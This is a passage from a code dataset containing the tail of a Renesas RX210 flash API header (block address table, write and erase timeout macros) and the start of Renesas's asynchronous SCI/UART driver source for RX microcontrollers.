BLOCK_DB2 258 /* 2KB: 0x00101000 - 0x001017FF */\n#define BLOCK_DB3 259 /* 2KB: 0x00101800 - 0x00101FFF */\n\n/* Array of flash addresses used for writing */\n#if defined(FLASH_BLOCKS_DECLARE)\nconst uint32_t g_flash_BlockAddresses[260] = {\n 0x00FFF800, /* EB000 */\n 0x00FFF000, /* EB001 */\n 0x00FFE800, /* EB002 */\n 0x00FFE000, /* EB003 */\n 0x00FFD800, /* EB004 */\n 0x00FFD000, /* EB005 */\n 0x00FFC800, /* EB006 */\n 0x00FFC000, /* EB007 */\n 0x00FFB800, /* EB008 */\n 0x00FFB000, /* EB009 */\n 0x00FFA800, /* EB010 */\n 0x00FFA000, /* EB011 */\n 0x00FF9800, /* EB012 */\n 0x00FF9000, /* EB013 */\n 0x00FF8800, /* EB014 */\n 0x00FF8000, /* EB015 */\n 0x00FF7800, /* EB016 */\n 0x00FF7000, /* EB017 */\n 0x00FF6800, /* EB018 */\n 0x00FF6000, /* EB019 */\n 0x00FF5800, /* EB020 */\n 0x00FF5000, /* EB021 */\n 0x00FF4800, /* EB022 */\n 0x00FF4000, /* EB023 */\n 0x00FF3800, /* EB024 */\n 0x00FF3000, /* EB025 */\n 0x00FF2800, /* EB026 */\n 0x00FF2000, /* EB027 */\n 0x00FF1800, /* EB028 */\n 0x00FF1000, /* EB029 */\n 0x00FF0800, /* EB030 */\n 0x00FF0000, /* EB031 */\n 0x00FEF800, /* EB032 */\n 0x00FEF000, /* EB033 */\n 0x00FEE800, /* EB034 */\n 0x00FEE000, /* EB035 */\n 0x00FED800, /* EB036 */\n 0x00FED000, /* EB037 */\n 0x00FEC800, /* EB038 */\n 0x00FEC000, /* EB039 */\n 0x00FEB800, /* EB040 */\n 0x00FEB000, /* EB041 */\n 0x00FEA800, /* EB042 */\n 0x00FEA000, /* EB043 */\n 0x00FE9800, /* EB044 */\n 0x00FE9000, /* EB045 */\n 0x00FE8800, /* EB046 */\n 0x00FE8000, /* EB047 */\n 0x00FE7800, /* EB048 */\n 0x00FE7000, /* EB049 */\n 0x00FE6800, /* EB050 */\n 0x00FE6000, /* EB051 */\n 0x00FE5800, /* EB052 */\n 0x00FE5000, /* EB053 */\n 0x00FE4800, /* EB054 */\n 0x00FE4000, /* EB055 */\n 0x00FE3800, /* EB056 */\n 0x00FE3000, /* EB057 */\n 0x00FE2800, /* EB058 */\n 0x00FE2000, /* EB059 */\n 0x00FE1800, /* EB060 */\n 0x00FE1000, /* EB061 */\n 0x00FE0800, /* EB062 */\n 0x00FE0000, /* EB063 */\n 0x00FDF800, /* EB064 */\n 0x00FDF000, /* EB065 */\n 0x00FDE800, /* EB066 */\n 0x00FDE000, /* EB067 */\n 0x00FDD800, /* EB068 */\n 0x00FDD000, /* EB069 */\n 0x00FDC800, /* EB070 */\n 0x00FDC000, /* EB071 */\n 0x00FDB800, /* EB072 */\n 0x00FDB000, /* EB073 */\n 0x00FDA800, /* EB074 */\n 0x00FDA000, /* EB075 */\n 0x00FD9800, /* EB076 */\n 0x00FD9000, /* EB077 */\n 0x00FD8800, /* EB078 */\n 0x00FD8000, /* EB079 */\n 0x00FD7800, /* EB080 */\n 0x00FD7000, /* EB081 */\n 0x00FD6800, /* EB082 */\n 0x00FD6000, /* EB083 */\n 0x00FD5800, /* EB084 */\n 0x00FD5000, /* EB085 */\n 0x00FD4800, /* EB086 */\n 0x00FD4000, /* EB087 */\n 0x00FD3800, /* EB088 */\n 0x00FD3000, /* EB089 */\n 0x00FD2800, /* EB090 */\n 0x00FD2000, /* EB091 */\n 0x00FD1800, /* EB092 */\n 0x00FD1000, /* EB093 */\n 0x00FD0800, /* EB094 */\n 0x00FD0000, /* EB095 */\n 0x00FCF800, /* EB096 */\n 0x00FCF000, /* EB097 */\n 0x00FCE800, /* EB098 */\n 0x00FCE000, /* EB099 */\n 0x00FCD800, /* EB100 */\n 0x00FCD000, /* EB101 */\n 0x00FCC800, /* EB102 */\n 0x00FCC000, /* EB103 */\n 0x00FCB800, /* EB104 */\n 0x00FCB000, /* EB105 */\n 0x00FCA800, /* EB106 */\n 0x00FCA000, /* EB107 */\n 0x00FC9800, /* EB108 */\n 0x00FC9000, /* EB109 */\n 0x00FC8800, /* EB110 */\n 0x00FC8000, /* EB111 */\n 0x00FC7800, /* EB112 */\n 0x00FC7000, /* EB113 */\n 0x00FC6800, /* EB114 */\n 0x00FC6000, /* EB115 */\n 0x00FC5800, /* EB116 */\n 0x00FC5000, /* EB117 */\n 0x00FC4800, /* EB118 */\n 0x00FC4000, /* EB119 */\n 0x00FC3800, /* EB120 */\n 0x00FC3000, /* EB121 */\n 0x00FC2800, /* EB122 */\n 0x00FC2000, /* EB123 */\n 0x00FC1800, /* EB124 */\n 0x00FC1000, /* EB125 */\n 0x00FC0800, /* EB126 */\n 0x00FC0000, /* EB127 */\n 0x00FBF800, /* EB128 */\n 0x00FBF000, /* EB129 */\n 0x00FBE800, /* EB130 */\n 0x00FBE000, /* EB131 */\n 0x00FBD800, /* EB132 */\n 0x00FBD000, /* EB133 */\n 0x00FBC800, /* EB134 */\n 0x00FBC000, /* EB135 */\n 0x00FBB800, /* EB136 */\n 0x00FBB000, /* EB137 */\n 0x00FBA800, /* EB138 */\n 0x00FBA000, /* EB139 */\n 0x00FB9800, /* EB140 */\n 0x00FB9000, /* EB141 */\n 0x00FB8800, /* EB142 */\n 0x00FB8000, /* EB143 */\n 0x00FB7800, /* EB144 */\n 0x00FB7000, /* EB145 */\n 0x00FB6800, /* EB146 */\n 0x00FB6000, /* EB147 */\n 0x00FB5800, /* EB148 */\n 0x00FB5000, /* EB149 */\n 0x00FB4800, /* EB150 */\n 0x00FB4000, /* EB151 */\n 0x00FB3800, /* EB152 */\n 0x00FB3000, /* EB153 */\n 0x00FB2800, /* EB154 */\n 0x00FB2000, /* EB155 */\n 0x00FB1800, /* EB156 */\n 0x00FB1000, /* EB157 */\n 0x00FB0800, /* EB158 */\n 0x00FB0000, /* EB159 */\n 0x00FAF800, /* EB160 */\n 0x00FAF000, /* EB161 */\n 0x00FAE800, /* EB162 */\n 0x00FAE000, /* EB163 */\n 0x00FAD800, /* EB164 */\n 0x00FAD000, /* EB165 */\n 0x00FAC800, /* EB166 */\n 0x00FAC000, /* EB167 */\n 0x00FAB800, /* EB168 */\n 0x00FAB000, /* EB169 */\n 0x00FAA800, /* EB170 */\n 0x00FAA000, /* EB171 */\n 0x00FA9800, /* EB172 */\n 0x00FA9000, /* EB173 */\n 0x00FA8800, /* EB174 */\n 0x00FA8000, /* EB175 */\n 0x00FA7800, /* EB176 */\n 0x00FA7000, /* EB177 */\n 0x00FA6800, /* EB178 */\n 0x00FA6000, /* EB179 */\n 0x00FA5800, /* EB180 */\n 0x00FA5000, /* EB181 */\n 0x00FA4800, /* EB182 */\n 0x00FA4000, /* EB183 */\n 0x00FA3800, /* EB184 */\n 0x00FA3000, /* EB185 */\n 0x00FA2800, /* EB186 */\n 0x00FA2000, /* EB187 */\n 0x00FA1800, /* EB188 */\n 0x00FA1000, /* EB189 */\n 0x00FA0800, /* EB190 */\n 0x00FA0000, /* EB191 */\n 0x00F9F800, /* EB192 */\n 0x00F9F000, /* EB193 */\n 0x00F9E800, /* EB194 */\n 0x00F9E000, /* EB195 */\n 0x00F9D800, /* EB196 */\n 0x00F9D000, /* EB197 */\n 0x00F9C800, /* EB198 */\n 0x00F9C000, /* EB199 */\n 0x00F9B800, /* EB200 */\n 0x00F9B000, /* EB201 */\n 0x00F9A800, /* EB202 */\n 0x00F9A000, /* EB203 */\n 0x00F99800, /* EB204 */\n 0x00F99000, /* EB205 */\n 0x00F98800, /* EB206 */\n 0x00F98000, /* EB207 */\n 0x00F97800, /* EB208 */\n 0x00F97000, /* EB209 */\n 0x00F96800, /* EB210 */\n 0x00F96000, /* EB211 */\n 0x00F95800, /* EB212 */\n 0x00F95000, /* EB213 */\n 0x00F94800, /* EB214 */\n 0x00F94000, /* EB215 */\n 0x00F93800, /* EB216 */\n 0x00F93000, /* EB217 */\n 0x00F92800, /* EB218 */\n 0x00F92000, /* EB219 */\n 0x00F91800, /* EB220 */\n 0x00F91000, /* EB221 */\n 0x00F90800, /* EB222 */\n 0x00F90000, /* EB223 */\n 0x00F8F800, /* EB224 */\n 0x00F8F000, /* EB225 */\n 0x00F8E800, /* EB226 */\n 0x00F8E000, /* EB227 */\n 0x00F8D800, /* EB228 */\n 0x00F8D000, /* EB229 */\n 0x00F8C800, /* EB230 */\n 0x00F8C000, /* EB231 */\n 0x00F8B800, /* EB232 */\n 0x00F8B000, /* EB233 */\n 0x00F8A800, /* EB234 */\n 0x00F8A000, /* EB235 */\n 0x00F89800, /* EB236 */\n 0x00F89000, /* EB237 */\n 0x00F88800, /* EB238 */\n 0x00F88000, /* EB239 */\n 0x00F87800, /* EB240 */\n 0x00F87000, /* EB241 */\n 0x00F86800, /* EB242 */\n 0x00F86000, /* EB243 */\n 0x00F85800, /* EB244 */\n 0x00F85000, /* EB245 */\n 0x00F84800, /* EB246 */\n 0x00F84000, /* EB247 */\n 0x00F83800, /* EB248 */\n 0x00F83000, /* EB249 */\n 0x00F82800, /* EB250 */\n 0x00F82000, /* EB251 */\n 0x00F81800, /* EB252 */\n 0x00F81000, /* EB253 */\n 0x00F80800, /* EB254 */\n 0x00F80000, /* EB255 */\n 0x00100000, /* DB000 */\n 0x00100800, /* DB001 */\n 0x00101000, /* DB002 */\n 0x00101800 /* DB003 */\n};\n#else \nextern const uint32_t g_flash_BlockAddresses[260];\n#endif \n\n/* Define the clock frequency supplied to the FCU. On the RX610 and Rx62x\n this is the PCLK. On the RX63x it is the FCLK. */\n#define FLASH_CLOCK_HZ BSP_FCLK_HZ\n\n/* According to HW Manual the Max Programming Time for 128 bytes (ROM)\n is 6ms. This is with a FCLK of 32MHz. The calculation below\n calculates the number of ICLK ticks needed for the timeout delay.\n The 6ms number is adjusted linearly depending on the FCLK frequency.\n*/\n#define WAIT_MAX_ROM_WRITE \\\n ((int32_t)(6000 * (32.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000))\n\n/* According to HW Manual the Max Programming Time for 8 bytes\n (Data Flash) is 3.2ms. This is with a FCLK of 32MHz. The calculation\n below calculates the number of ICLK ticks needed for the timeout delay.\n The 3.2ms number is adjusted linearly depending on the FCLK frequency.\n*/\n#define WAIT_MAX_DF_WRITE \\\n ((int32_t)(3200 * (32.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000))\n\n/* According to HW Manual the Max Blank Check time for 2k bytes\n (Data Flash) is 2.5ms. This is with a FCLK of 32MHz. The calculation\n below calculates the number of ICLK ticks needed for the timeout delay.\n The 2.5ms number is adjusted linearly depending on the FCLK frequency.\n*/\n#define WAIT_MAX_BLANK_CHECK \\\n ((int32_t)(2500 * (32.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000))\n \n/* According to HW Manual the max timeout value when using the peripheral\n clock notification command is 60us. This is with a FCLK of 32MHz. The \n calculation below calculates the number of ICLK ticks needed for the \n timeout delay. The 60us number is adjusted linearly depending on \n the FCLK frequency.\n*/\n#define WAIT_MAX_NOTIFY_FCU_CLOCK \\\n ((int32_t)(60 * (32.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000)) \n\n/* According to HW Manual the Max Erasure Time for a 2kB block is\n around 60ms. This is with a FCLK of 32MHz. The calculation below\n calculates the number of ICLK ticks needed for the timeout delay.\n The 60ms number is adjusted linearly depending on the FCLK frequency.\n*/\n#define WAIT_MAX_ERASE \\\n ((int32_t)(60000 * (32.0/(FLASH_CLOCK_HZ/1000000)))*(BSP_ICLK_HZ/1000000)) \n\n/******************************************************************************\nError checking\n******************************************************************************/\n/* FCLK must be between 4MHz and 32MHz. */\n#if (FLASH_CLOCK_HZ > 32000000) || (FLASH_CLOCK_HZ < 4000000)\n #error \"ERROR - Flash API - FCLK on RX210 must be between 4MHz and 32MHz!\"\n#endif\n\n#endif /* _FLASH_API_RX210_H */\n" }, { "alpha_fraction": 0.5064703226089478, "alphanum_fraction": 0.5295848250389099, "avg_line_length": 30.24015235900879, "blob_id": "dd20987436d2d633671a6a01f93b9098950efd33", "content_id": "0e0f30f5c1075ec684cc69c285c4c443072dbff9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 57107, "license_type": "no_license", "max_line_length": 120, "num_lines": 1828, "path": "/r_sci_async_rx/src/r_sci_async_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2011 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* File Name : r_sci_async_rx.c\n* Device(s) : RX63N, RX631, RX210, RX111\n* Tool-Chain : Renesas RX Standard Toolchain 1.02\n* OS : None\n* H/W Platform : YRDKRX63N\n* Description : Functions for using SCI on RX devices. \n***********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* 08.05.2013 2.00 Initial multi-channel release.\n* 20.05.2013 2.10 Added e_sci_cmd commands SCI_CMD_TX_Q_BYTES_FREE and SCI_CMD_RX_Q_BYTES_AVAIL_TO_READ.\n* 11.06.2013 2.11 Optimized code: Merged sci_open_uart() into R_SCI_Open() & broke out sci_init_queues().\n* 12.06.2013 2.12 Modified sci_init_bit_rate() for future multi-protocol tables.\n***********************************************************************************************************************/\n/* PRQA S 3116, 2889, 3219 ++ */\n/* GRI 1/28/2013\n * 3116 \"inline\" pragma not recognized\n * 2889 more than one return statement: ok for parameter checking\n * 3219 isr static functions are not called within file; leave as static\n */\n/*****************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include <stddef.h>\n/* Fixed width integers */\n#include <stdint.h>\n/* Boolean defines */\n#include <stdbool.h>\n/* Used for xchg() intrinsic */\n#include <machine.h>\n/* Access to peripherals and board defines. */\n#include \"platform.h\"\n#include \"r_byteq_if.h\"\n/* Defines for SCI support */\n#include \"r_sci_async_rx_private.h\"\n#include \"r_sci_async_rx_if.h\"\n#include \"r_sci_async_rx_config.h\"\n\n/*****************************************************************************\nTypedef definitions\n******************************************************************************/\n\n/*****************************************************************************\nMacro definitions\n******************************************************************************/\n\n/* Mask of all active channels */\n#define SCI_CFG_CH_INCLUDED_MASK ((SCI_CFG_CH0_INCLUDED << 0) | \\\n (SCI_CFG_CH1_INCLUDED << 1) | \\\n (SCI_CFG_CH2_INCLUDED << 2) | \\\n (SCI_CFG_CH3_INCLUDED << 3) | \\\n (SCI_CFG_CH4_INCLUDED << 4) | \\\n (SCI_CFG_CH5_INCLUDED << 5) | \\\n (SCI_CFG_CH6_INCLUDED << 6) | \\\n (SCI_CFG_CH7_INCLUDED << 7) | \\\n (SCI_CFG_CH8_INCLUDED << 8) | \\\n (SCI_CFG_CH9_INCLUDED << 9) | \\\n (SCI_CFG_CH10_INCLUDED << 10) | \\\n (SCI_CFG_CH11_INCLUDED << 11) | \\\n (SCI_CFG_CH12_INCLUDED << 12))\n\n/* SCI SCR register masks */\n#define SCI_SCR_RE_MASK (0x10U) // receiver enable\n#define SCI_SCR_TE_MASK (0x20U) // tranmitter enable\n#define SCI_EN_XCVR_MASK (SCI_SCR_RE_MASK | SCI_SCR_TE_MASK)\n\n/* SCI SSR register receiver error masks */\n#define SCI_SSR_ORER_MASK (0x20U) // overflow error\n#define SCI_SSR_FER_MASK (0x10U) // framing error\n#define SCI_SSR_PER_MASK (0x08U) // parity err\n#define SCI_RCVR_ERR_MASK (SCI_SSR_ORER_MASK | SCI_SSR_FER_MASK | SCI_SSR_PER_MASK)\n\n/* Macros to enable and disable ICU interrupts */\n#define ENABLE_ERI_INT (*hdl->rom->icu_eri |= hdl->rom->eri_en_mask)\n#define DISABLE_ERI_INT (*hdl->rom->icu_eri &= (uint8_t)~hdl->rom->eri_en_mask)\n#define ENABLE_RXI_INT (*hdl->rom->icu_rxi |= hdl->rom->rxi_en_mask)\n#define DISABLE_RXI_INT (*hdl->rom->icu_rxi &= (uint8_t)~hdl->rom->rxi_en_mask)\n#define ENABLE_TXI_INT (*hdl->rom->icu_txi |= hdl->rom->txi_en_mask)\n#define DISABLE_TXI_INT (*hdl->rom->icu_txi &= (uint8_t)~hdl->rom->txi_en_mask)\n#define ENABLE_TEI_INT (*hdl->rom->icu_tei |= hdl->rom->tei_en_mask)\n#define DISABLE_TEI_INT (*hdl->rom->icu_tei &= (uint8_t)~hdl->rom->tei_en_mask)\n\n/*****************************************************************************\nPrivate global variables and functions\n******************************************************************************/\nstatic void power_on(sci_hdl_t const hdl);\nstatic void power_off(sci_hdl_t const hdl);\n\nstatic sci_err_t sci_init_mode(sci_hdl_t const hdl,\n sci_mode_t const mode,\n void * const p_cfg,\n uint8_t * const p_priority);\n\nstatic sci_err_t sci_init_uart(sci_hdl_t const hdl,\n sci_uart_t * const p_cfg,\n uint8_t * const p_priority);\n\nstatic int32_t sci_init_bit_rate(sci_hdl_t const hdl,\n uint32_t const pclk,\n uint32_t const baud);\n\nstatic sci_err_t sci_init_queues(uint8_t const chan);\n\nstatic void sci_enable_ints(sci_hdl_t const hdl,\n uint8_t const priority);\n\nstatic sci_err_t sci_put_byte(sci_hdl_t const hdl,\n uint8_t const byte);\n\nstatic sci_err_t sci_get_byte(sci_hdl_t const hdl,\n uint8_t * const p_byte);\n \nstatic void txi_handler(sci_hdl_t const hdl);\nstatic void tei_handler(sci_hdl_t const hdl);\nstatic void rxi_handler(sci_hdl_t const hdl);\n#ifndef BSP_MCU_RX63_ALL\nstatic void eri_handler(sci_hdl_t const hdl);\n#endif\n\n\n/*****************************************************************************\n* Function Name: R_SCI_Open\n* Description : Initializes an SCI channel for a particular mode.\n*\n* NOTE: The associated port must be configured/initialized prior to\n* calling this function.\n*\n* Arguments : chan -\n* channel to initialize\n* mode -\n* operational mode (UART, SPI, I2C, ...)\n* p_cfg -\n* ptr to configuration structure specific to mode, \n* casted to void *\n* p_callback -\n* ptr to function called from interrupt when a receiver \n* error is detected or for transmit end (TEI) condition\n* p_hdl -\n* pointer to a handle for channel (value set here)\n* Return Value : SCI_SUCCESS -\n* channel opened successfully\n* SCI_ERR_BAD_CHAN -\n* channel number invalid for part\n* SCI_ERR_OMITTED_CHAN -\n* channel not included in config.h\n* SCI_ERR_CH_NOT_CLOSED -\n* channel already in use\n* SCI_ERR_BAD_MODE -\n* unsupported mode\n* SCI_ERR_NULL_PTR -\n* missing required p_cfg argument\n* SCI_ERR_INVALID_ARG -\n* element of casted mode config structure (p_cfg) is invalid\n* SCI_ERR_QUEUE_UNAVAILABLE -\n* cannot open transmit or receive queue or both\n******************************************************************************/\nsci_err_t R_SCI_Open(uint8_t const chan,\n sci_mode_t const mode,\n void * const p_cfg,\n void (* const p_callback)(void *p_args),\n sci_hdl_t * const p_hdl)\n{\nsci_err_t err;\nuint8_t priority;\n\n\n /* CHECK ARGUMENTS */\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n\n#if defined(BSP_MCU_RX63_ALL)\n if (chan >= SCI_NUM_CH)\n {\n return SCI_ERR_BAD_CHAN;\n }\n#elif defined(BSP_MCU_RX11_ALL)\n if ((chan != SCI_CH1) && (chan != SCI_CH5) && (chan != SCI_CH12))\n {\n return SCI_ERR_BAD_CHAN;\n }\n#elif defined(BSP_MCU_RX21_ALL)\n if ((chan != SCI_CH0) && (chan != SCI_CH1) \n && (chan != SCI_CH5) && (chan != SCI_CH6) \n && (chan != SCI_CH8) && (chan != SCI_CH9) && (chan != SCI_CH12))\n {\n return SCI_ERR_BAD_CHAN;\n } \n#endif\n if (g_handles[chan] == NULL)\n {\n return SCI_ERR_OMITTED_CHAN;\n }\n if (g_handles[chan]->mode != SCI_MODE_OFF)\n {\n return SCI_ERR_CH_NOT_CLOSED;\n }\n if (mode != SCI_MODE_ASYNC)\n {\n return SCI_ERR_BAD_MODE;\n }\n if ((p_cfg == NULL) || (p_hdl == NULL))\n {\n return SCI_ERR_NULL_PTR;\n }\n#endif\n \n \n /* APPLY POWER TO CHANNEL */\n\n power_on(g_handles[chan]);\n\n\n /* INITIALIZE MODE SPECIFIC FEATURES */\n\n err = sci_init_mode(g_handles[chan], mode, p_cfg, &priority);\n if (err != SCI_SUCCESS)\n {\n g_handles[chan]->mode = SCI_MODE_OFF;\n return err;\n }\n g_handles[chan]->callback = p_callback;\n\n\n /* INITIALIZE TX AND RX QUEUES */\n\n err = sci_init_queues(chan);\n if (err != SCI_SUCCESS)\n {\n g_handles[chan]->mode = SCI_MODE_OFF;\n return err;\n }\n\n\n /* ENABLE INTERRUPTS */\n\n sci_enable_ints(g_handles[chan], priority);\n\n\n /* FINISH */\n\n *p_hdl = g_handles[chan];\n\n return SCI_SUCCESS;\n}\n\n\n/*****************************************************************************\n* Function Name: power_on\n* Description : This function provides power to the channel referenced by\n* the handle by taking it out of the module stop state.\n* Arguments : hdl -\n* handle for channel (ptr to chan control block)\n* Return Value : none\n******************************************************************************/\nstatic void power_on(sci_hdl_t const hdl)\n{\n\n SYSTEM.PRCR.WORD = 0xA502; // unlock MSTP regs\n *hdl->rom->mstp &= ~hdl->rom->stop_mask;\n SYSTEM.PRCR.WORD = 0xA500; // lock MSTP regs\n\n hdl->rom->regs->SCR.BYTE = 0; // disable xcvr & interrupts (dflt)\n return;\n}\n\n\n/*****************************************************************************\n* Function Name: power_off\n* Description : This function removes power to the channel referenced by\n* handle by putting it into the module stop state.\n* Arguments : hdl -\n* handle for channel (ptr to chan control block)\n* Return Value : none\n******************************************************************************/\nstatic void power_off(sci_hdl_t const hdl)\n{\n\n SYSTEM.PRCR.WORD = 0xA502; // unlock MSTP regs\n *hdl->rom->mstp |= hdl->rom->stop_mask;\n SYSTEM.PRCR.WORD = 0xA500; // lock MSTP regs\n return;\n}\n\n\n/*****************************************************************************\n* Function Name: sci_init_queues\n* Description : This function attaches transmit and receive queues to the\n* channel.\n*\n* Arguments : chan -\n* channel (ptr to chan control block)\n* Return Value : SCI_SUCCESS -\n* channel initialized successfully\n* SCI_ERR_QUEUE_UNAVAILABLE -\n* no queue control blocks available\n******************************************************************************/\nstatic sci_err_t sci_init_queues(uint8_t const chan)\n{\nbyteq_err_t q_err1,q_err2;\nsci_err_t err=SCI_SUCCESS;\n\n\n // channel number verified as legal prior to calling this function\n\n switch (chan)\n {\n#if SCI_CFG_CH0_INCLUDED\n case (SCI_CH0):\n q_err1 = R_BYTEQ_Open(ch0_tx_buf, SCI_CFG_CH0_TX_BUFSIZ, &g_handles[SCI_CH0]->tx_que);\n q_err2 = R_BYTEQ_Open(ch0_rx_buf, SCI_CFG_CH0_RX_BUFSIZ, &g_handles[SCI_CH0]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH1_INCLUDED\n case (SCI_CH1):\n q_err1 = R_BYTEQ_Open(ch1_tx_buf, SCI_CFG_CH1_TX_BUFSIZ, &g_handles[SCI_CH1]->tx_que);\n q_err2 = R_BYTEQ_Open(ch1_rx_buf, SCI_CFG_CH1_RX_BUFSIZ, &g_handles[SCI_CH1]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH2_INCLUDED\n case (SCI_CH2):\n q_err1 = R_BYTEQ_Open(ch2_tx_buf, SCI_CFG_CH2_TX_BUFSIZ, &g_handles[SCI_CH2]->tx_que);\n q_err2 = R_BYTEQ_Open(ch2_rx_buf, SCI_CFG_CH2_RX_BUFSIZ, &g_handles[SCI_CH2]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH3_INCLUDED\n case (SCI_CH3):\n q_err1 = R_BYTEQ_Open(ch3_tx_buf, SCI_CFG_CH3_TX_BUFSIZ, &g_handles[SCI_CH3]->tx_que);\n q_err2 = R_BYTEQ_Open(ch3_rx_buf, SCI_CFG_CH3_RX_BUFSIZ, &g_handles[SCI_CH3]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH4_INCLUDED\n case (SCI_CH4):\n q_err1 = R_BYTEQ_Open(ch4_tx_buf, SCI_CFG_CH4_TX_BUFSIZ, &g_handles[SCI_CH4]->tx_que);\n q_err2 = R_BYTEQ_Open(ch4_rx_buf, SCI_CFG_CH4_RX_BUFSIZ, &g_handles[SCI_CH4]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH5_INCLUDED\n case (SCI_CH5):\n q_err1 = R_BYTEQ_Open(ch5_tx_buf, SCI_CFG_CH5_TX_BUFSIZ, &g_handles[SCI_CH5]->tx_que);\n q_err2 = R_BYTEQ_Open(ch5_rx_buf, SCI_CFG_CH5_RX_BUFSIZ, &g_handles[SCI_CH5]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH6_INCLUDED\n case (SCI_CH6):\n q_err1 = R_BYTEQ_Open(ch6_tx_buf, SCI_CFG_CH6_TX_BUFSIZ, &g_handles[SCI_CH6]->tx_que);\n q_err2 = R_BYTEQ_Open(ch6_rx_buf, SCI_CFG_CH6_RX_BUFSIZ, &g_handles[SCI_CH6]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH7_INCLUDED\n case (SCI_CH7):\n q_err1 = R_BYTEQ_Open(ch7_tx_buf, SCI_CFG_CH7_TX_BUFSIZ, &g_handles[SCI_CH7]->tx_que);\n q_err2 = R_BYTEQ_Open(ch7_rx_buf, SCI_CFG_CH7_RX_BUFSIZ, &g_handles[SCI_CH7]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH8_INCLUDED\n case (SCI_CH8):\n q_err1 = R_BYTEQ_Open(ch8_tx_buf, SCI_CFG_CH8_TX_BUFSIZ, &g_handles[SCI_CH8]->tx_que);\n q_err2 = R_BYTEQ_Open(ch8_rx_buf, SCI_CFG_CH8_RX_BUFSIZ, &g_handles[SCI_CH8]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH9_INCLUDED\n case (SCI_CH9):\n q_err1 = R_BYTEQ_Open(ch9_tx_buf, SCI_CFG_CH9_TX_BUFSIZ, &g_handles[SCI_CH9]->tx_que);\n q_err2 = R_BYTEQ_Open(ch9_rx_buf, SCI_CFG_CH9_RX_BUFSIZ, &g_handles[SCI_CH9]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH10_INCLUDED\n case (SCI_CH10):\n q_err1 = R_BYTEQ_Open(ch10_tx_buf, SCI_CFG_CH10_TX_BUFSIZ, &g_handles[SCI_CH10]->tx_que);\n q_err2 = R_BYTEQ_Open(ch10_rx_buf, SCI_CFG_CH10_RX_BUFSIZ, &g_handles[SCI_CH10]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH11_INCLUDED\ncase (SCI_CH11):\n q_err1 = R_BYTEQ_Open(ch11_tx_buf, SCI_CFG_CH11_TX_BUFSIZ, &g_handles[SCI_CH11]->tx_que);\n q_err2 = R_BYTEQ_Open(ch11_rx_buf, SCI_CFG_CH11_RX_BUFSIZ, &g_handles[SCI_CH11]->rx_que);\n break;\n#endif\n\n#if SCI_CFG_CH12_INCLUDED\n case (SCI_CH12):\n q_err1 = R_BYTEQ_Open(ch12_tx_buf, SCI_CFG_CH12_TX_BUFSIZ, &g_handles[SCI_CH12]->tx_que);\n q_err2 = R_BYTEQ_Open(ch12_rx_buf, SCI_CFG_CH12_RX_BUFSIZ, &g_handles[SCI_CH12]->rx_que);\n break;\n#endif\n }\n\n if ((q_err1 != BYTEQ_SUCCESS) || (q_err2 != BYTEQ_SUCCESS))\n {\n err = SCI_ERR_QUEUE_UNAVAILABLE;\n }\n return err;\n}\n\n\n/*****************************************************************************\n* Function Name: sci_init_mode\n* Description : This function calls the appropriate initialization function\n* based upon the mode.\n*\n* Arguments : hdl -\n* handle for channel (ptr to chan control block)\n* mode -\n* operational mode to initialize for (UART, SPI, I2C, ...)\n* p_cfg -\n* ptr to mode configuration argument structure\n* p_priority -\n* pointer to location to load interrupt priority into\n* Return Value : SCI_SUCCESS -\n* channel initialized successfully\n* SCI_ERR_INVALID_ARG -\n* element of p_cfg contains illegal value\n******************************************************************************/\nstatic sci_err_t sci_init_mode(sci_hdl_t const hdl,\n sci_mode_t const mode,\n void * const p_cfg,\n uint8_t * const p_priority)\n{\nsci_err_t err=SCI_ERR_BAD_MODE;\n\n\n // mode verified to be legal prior to calling this function\n\n hdl->mode = mode;\n //if (mode == SCI_MODE_ASYNC)\n {\n err = sci_init_uart(hdl, (sci_uart_t *)p_cfg, p_priority);\n }\n\n return err;\n}\n\n\n/*****************************************************************************\n* Function 